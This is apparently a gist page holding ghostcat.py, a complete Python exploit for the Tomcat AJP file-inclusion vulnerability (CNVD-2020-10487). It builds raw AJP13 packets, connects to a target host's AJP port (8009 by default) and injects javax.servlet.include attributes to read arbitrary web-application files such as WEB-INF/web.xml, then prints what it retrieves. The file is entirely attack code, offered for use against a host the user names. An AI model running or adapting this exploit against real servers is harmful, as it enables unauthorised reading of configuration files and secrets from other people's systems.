Last active 2 months ago

ghostcat.py Raw
1#!/usr/bin/env python
2#CNVD-2020-10487 Tomcat-Ajp lfi
3#by ydhcui
4import struct
5
6# Some references:
7# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
8def pack_string(s):
9 if s is None:
10 return struct.pack(">h", -1)
11 l = len(s)
12 return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
13def unpack(stream, fmt):
14 size = struct.calcsize(fmt)
15 buf = stream.read(size)
16 return struct.unpack(fmt, buf)
17def unpack_string(stream):
18 size, = unpack(stream, ">h")
19 if size == -1: # null string
20 return None
21 res, = unpack(stream, "%ds" % size)
22 stream.read(1) # \0
23 return res
24class NotFoundException(Exception):
25 pass
26class AjpBodyRequest(object):
27 # server == web server, container == servlet
28 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
29 MAX_REQUEST_LENGTH = 8186
30 def __init__(self, data_stream, data_len, data_direction=None):
31 self.data_stream = data_stream
32 self.data_len = data_len
33 self.data_direction = data_direction
34 def serialize(self):
35 data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
36 if len(data) == 0:
37 return struct.pack(">bbH", 0x12, 0x34, 0x00)
38 else:
39 res = struct.pack(">H", len(data))
40 res += data
41 if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
42 header = struct.pack(">bbH", 0x12, 0x34, len(res))
43 else:
44 header = struct.pack(">bbH", 0x41, 0x42, len(res))
45 return header + res
46 def send_and_receive(self, socket, stream):
47 while True:
48 data = self.serialize()
49 socket.send(data)
50 r = AjpResponse.receive(stream)
51 while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
52 r = AjpResponse.receive(stream)
53
54 if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
55 break
56class AjpForwardRequest(object):
57 _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
58 REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
59 # server == web server, container == servlet
60 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
61 COMMON_HEADERS = ["SC_REQ_ACCEPT",
62 "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
63 "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
64 "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
65 ]
66 ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
67 def __init__(self, data_direction=None):
68 self.prefix_code = 0x02
69 self.method = None
70 self.protocol = None
71 self.req_uri = None
72 self.remote_addr = None
73 self.remote_host = None
74 self.server_name = None
75 self.server_port = None
76 self.is_ssl = None
77 self.num_headers = None
78 self.request_headers = None
79 self.attributes = None
80 self.data_direction = data_direction
81 def pack_headers(self):
82 self.num_headers = len(self.request_headers)
83 res = ""
84 res = struct.pack(">h", self.num_headers)
85 for h_name in self.request_headers:
86 if h_name.startswith("SC_REQ"):
87 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
88 res += struct.pack("BB", 0xA0, code)
89 else:
90 res += pack_string(h_name)
91
92 res += pack_string(self.request_headers[h_name])
93 return res
94
95 def pack_attributes(self):
96 res = b""
97 for attr in self.attributes:
98 a_name = attr['name']
99 code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
100 res += struct.pack("b", code)
101 if a_name == "req_attribute":
102 aa_name, a_value = attr['value']
103 res += pack_string(aa_name)
104 res += pack_string(a_value)
105 else:
106 res += pack_string(attr['value'])
107 res += struct.pack("B", 0xFF)
108 return res
109 def serialize(self):
110 res = ""
111 res = struct.pack("bb", self.prefix_code, self.method)
112 res += pack_string(self.protocol)
113 res += pack_string(self.req_uri)
114 res += pack_string(self.remote_addr)
115 res += pack_string(self.remote_host)
116 res += pack_string(self.server_name)
117 res += struct.pack(">h", self.server_port)
118 res += struct.pack("?", self.is_ssl)
119 res += self.pack_headers()
120 res += self.pack_attributes()
121 if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
122 header = struct.pack(">bbh", 0x12, 0x34, len(res))
123 else:
124 header = struct.pack(">bbh", 0x41, 0x42, len(res))
125 return header + res
126 def parse(self, raw_packet):
127 stream = StringIO(raw_packet)
128 self.magic1, self.magic2, data_len = unpack(stream, "bbH")
129 self.prefix_code, self.method = unpack(stream, "bb")
130 self.protocol = unpack_string(stream)
131 self.req_uri = unpack_string(stream)
132 self.remote_addr = unpack_string(stream)
133 self.remote_host = unpack_string(stream)
134 self.server_name = unpack_string(stream)
135 self.server_port = unpack(stream, ">h")
136 self.is_ssl = unpack(stream, "?")
137 self.num_headers, = unpack(stream, ">H")
138 self.request_headers = {}
139 for i in range(self.num_headers):
140 code, = unpack(stream, ">H")
141 if code > 0xA000:
142 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
143 else:
144 h_name = unpack(stream, "%ds" % code)
145 stream.read(1) # \0
146 h_value = unpack_string(stream)
147 self.request_headers[h_name] = h_value
148 def send_and_receive(self, socket, stream, save_cookies=False):
149 res = []
150 i = socket.sendall(self.serialize())
151 if self.method == AjpForwardRequest.POST:
152 return res
153
154 r = AjpResponse.receive(stream)
155 assert r.prefix_code == AjpResponse.SEND_HEADERS
156 res.append(r)
157 if save_cookies and 'Set-Cookie' in r.response_headers:
158 self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
159
160 # read body chunks and end response packets
161 while True:
162 r = AjpResponse.receive(stream)
163 res.append(r)
164 if r.prefix_code == AjpResponse.END_RESPONSE:
165 break
166 elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
167 continue
168 else:
169 raise NotImplementedError
170 break
171
172 return res
173
174class AjpResponse(object):
175 _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
176 COMMON_SEND_HEADERS = [
177 "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
178 "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
179 ]
180 def parse(self, stream):
181 # read headers
182 self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
183
184 if self.prefix_code == AjpResponse.SEND_HEADERS:
185 self.parse_send_headers(stream)
186 elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
187 self.parse_send_body_chunk(stream)
188 elif self.prefix_code == AjpResponse.END_RESPONSE:
189 self.parse_end_response(stream)
190 elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
191 self.parse_get_body_chunk(stream)
192 else:
193 raise NotImplementedError
194
195 def parse_send_headers(self, stream):
196 self.http_status_code, = unpack(stream, ">H")
197 self.http_status_msg = unpack_string(stream)
198 self.num_headers, = unpack(stream, ">H")
199 self.response_headers = {}
200 for i in range(self.num_headers):
201 code, = unpack(stream, ">H")
202 if code <= 0xA000: # custom header
203 h_name, = unpack(stream, "%ds" % code)
204 stream.read(1) # \0
205 h_value = unpack_string(stream)
206 else:
207 h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
208 h_value = unpack_string(stream)
209 self.response_headers[h_name] = h_value
210
211 def parse_send_body_chunk(self, stream):
212 self.data_length, = unpack(stream, ">H")
213 self.data = stream.read(self.data_length+1)
214
215 def parse_end_response(self, stream):
216 self.reuse, = unpack(stream, "b")
217
218 def parse_get_body_chunk(self, stream):
219 rlen, = unpack(stream, ">H")
220 return rlen
221
222 @staticmethod
223 def receive(stream):
224 r = AjpResponse()
225 r.parse(stream)
226 return r
227
228import socket
229
230def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
231 fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
232 fr.method = method
233 fr.protocol = "HTTP/1.1"
234 fr.req_uri = req_uri
235 fr.remote_addr = target_host
236 fr.remote_host = None
237 fr.server_name = target_host
238 fr.server_port = 80
239 fr.request_headers = {
240 'SC_REQ_ACCEPT': 'text/html',
241 'SC_REQ_CONNECTION': 'keep-alive',
242 'SC_REQ_CONTENT_LENGTH': '0',
243 'SC_REQ_HOST': target_host,
244 'SC_REQ_USER_AGENT': 'Mozilla',
245 'Accept-Encoding': 'gzip, deflate, sdch',
246 'Accept-Language': 'en-US,en;q=0.5',
247 'Upgrade-Insecure-Requests': '1',
248 'Cache-Control': 'max-age=0'
249 }
250 fr.is_ssl = False
251 fr.attributes = []
252 return fr
253
254class Tomcat(object):
255 def __init__(self, target_host, target_port):
256 self.target_host = target_host
257 self.target_port = target_port
258
259 self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
260 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
261 self.socket.connect((target_host, target_port))
262 self.stream = self.socket.makefile("rb", bufsize=0)
263
264 def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
265 self.req_uri = req_uri
266 self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
267 print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
268 if user is not None and password is not None:
269 self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
270 for h in headers:
271 self.forward_request.request_headers[h] = headers[h]
272 for a in attributes:
273 self.forward_request.attributes.append(a)
274 responses = self.forward_request.send_and_receive(self.socket, self.stream)
275 if len(responses) == 0:
276 return None, None
277 snd_hdrs_res = responses[0]
278 data_res = responses[1:-1]
279 if len(data_res) == 0:
280 print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
281 return snd_hdrs_res, data_res
282
283'''
284javax.servlet.include.request_uri
285javax.servlet.include.path_info
286javax.servlet.include.servlet_path
287'''
288
289import argparse
290parser = argparse.ArgumentParser()
291parser.add_argument("target", type=str, help="Hostname or IP to attack")
292parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
293parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
294args = parser.parse_args()
295t = Tomcat(args.target, args.port)
296_,data = t.perform_request('/asdf',attributes=[
297 {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
298 {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
299 {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
300 ])
301print('----------------------------')
302print("".join([d.data for d in data]))
303